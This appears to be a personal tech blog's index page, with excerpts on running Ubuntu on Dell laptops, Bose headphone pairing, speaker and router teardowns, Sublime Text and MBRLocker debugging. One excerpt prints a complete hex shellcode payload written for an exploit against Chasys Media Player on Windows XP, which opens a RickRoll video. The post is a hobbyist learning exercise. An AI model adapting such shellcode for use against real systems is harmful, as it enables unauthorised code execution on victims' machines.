This is a continuation to my series of migrating to Linux posts.

If you try to pair Bose QC35 with an Ubuntu 16.04 LTS box, you will notice that it always pairs in headset mode, acts as if a call has just started and then disconnects. If you try to manually select A2DP Sink in sound settings, it will fail without any warning message displayed. Next time you open sound settings you will find that i has reset itself to HSP/HFP. Time to check journalctl output and find out that something isn’t right.

Below are the steps I managed to compile based on numerous other blog posts and AskUbuntu questions that didn’t work on their own, but worked in this combination.

Being more happy than not with the experience I had at work with a Dell Precision 5520 running Ubuntu, I looked closer at Project Sputnik when time came to replace my beaten up Inspiron 17R. I decided to get myself an XPS 15 based on Intel’s 7th gen platform. Of course, given the opportunity to pick, I decided against a 4K UHD screen, against a touchscreen and picked a matte cover too instead of a glossy one. That solved my biggest woes right away.

In short, I’ve never had such a good experience with a power user laptop and the Project Sputnik team deserves all the fame, praises and customer money that they are getting. To all those engineers and hackers unhappy with Windows 10 and looking into Apple or Linux-based alternatives, I suggest that you look into Dell’s offering.

Below you will find workarounds for a few software issues that I had to resolve with it to get my perfect machine. As of March 2018, this applies to Ubuntu 16.04 LTS.

Note: this post has now been updated for 18.04 LTS.

Recently I got a new Dell Precision 5520 and a TB16 dock. It came with Windows 10, and as I was quick to learn, “10” is the number of minutes it took me to decide that I would rather use anything else. This is coming from someone who has been using Windows on all non-server machines since age 7. Given the available options, I went for Ubuntu Linux.

As it turned out, Linux came with its own set of problems, and 4K or HiDPI has below usable support no matter which OS you choose.

I will maintain this post with status updates on the issues listed so that others can reuse my solutions. Another reason is that a bunch of my coworkers have decided to follow suit upon seeing Windows 10 and this is the most efficient way of helping them with the issues they are about to face.

Current setup: Ubuntu GNOME 18.04 LTS, 5.0 mainline kernel.

Had to pop open my Logitech Z506 speaker the other day because reasons. Thought that this may come in handy to someone looking for which wire goes to which pin on the 10-pin connector aka connector pinout. On the picture below I marked every pin with the color of the corresponding wire. It may be hard to see on the preview but the black one is ground. Happy tinkering!

I was sitting in the lab the other day ~socializing~ with other students and we all agreed it was sad that there was no shellcode out there that would open a RickRoll. Making one seemed like a good way to procrastinate from preparing a talk on privacy while learning how to write shellcodes and the challenge was accepted. The application to have fun with was Chasys Media Player 1.1 on Windows XP SP3, no DEP or ASLR.

TL;DR:

\x89\xE5\x83\xEC\x7F\x83\xEC\x7F\x83\xEC\x06\x31\xC0\x88\x45\x84\x88\x45\x91\x88\x45\xB1\x88\x45\xBD\x88\x45\xCB\x88\x45\xD0\x88\x45\xFB\x89\xEB\x83\xEB\x4E\x53\xFF\x15\x7C\x90\x41\xFF\x89\xEB\x83\xEB\x42\x53\x50\xFF\x15\x24\x91\x41\xFF\x6A\x01\x31\xC9\x51\x51\x89\xEB\x83\xEB\x2F\x53\x89\xEB\x83\xEB\x34\x53\x31\xC9\x51\xFF\xD0\x31\xC9\x51\xFF\x15\xE4\x90\x41\xFF\x53\x68\x65\x6C\x6C\x33\x32\x2E\x64\x6C\x6C\x21\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x21\x6F\x70\x65\x6E\x21\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x76\x3D\x6F\x48\x67\x35\x53\x4A\x59\x52\x48\x41\x30\x21

Ever met MBRLockers? Yes, those nasty pieces of malware which replace your Master Boot Record with malicious code and ransom you. Good news here, most of them just backup your original MBR somewhere and put one asking for ransom in its place. Today I’m going to tell you how to debug these things easily for ehmm, scientific purposes.

Here comes a little addition to the TG789vn article: this time we will see how to open ST780WL. This is required if you want to JTAG your router or replace the antenna with something more powerful.

So I recently got a box full of Thomson TG789vn routers with half of them not working properly. Say “Hello” to lightnings hitting the power lines in Estonia. With nothing to lose it was decided to pop one open to see if there is any obvious damage that can be repaired. Surprisingly, there were no guides on the internet on how to open TG789vn without breaking anything, so here is one.

Stuff You Will Need

• Thomson TG789vn router
• Phillips screwdriver
• Flat-blade screwdriver
• Two hands and a little bit of common sense

Needless to say, before doing any of this you need to turn off your router and unplug everything from it. This will also void your warranty and I will not be held responsible for any damage you may or may not inflict upon your router.

This was my second time at B-Sides London and 3rd time at a huge hacking conference. But considering countless tech meetups, Abertay Ethical Hacking Society meetings and stuff like that one could say I am a frequent goer to such events.

Anyway,

Once you start using Sublime Text, you will begin putting together a collection of plugins to simplify your life. The amount of keys on your keyboard is rather limited and Sublime is a key mapping heavy editor. Lots of comfy hot keys are used even by default. Every once in a while you will get a plugin that wants to use one of the keys that is already in use. At this point you will end up wondering why some of the default key mappings are broken and this article will hopefully help you to fix conflicting hot keys.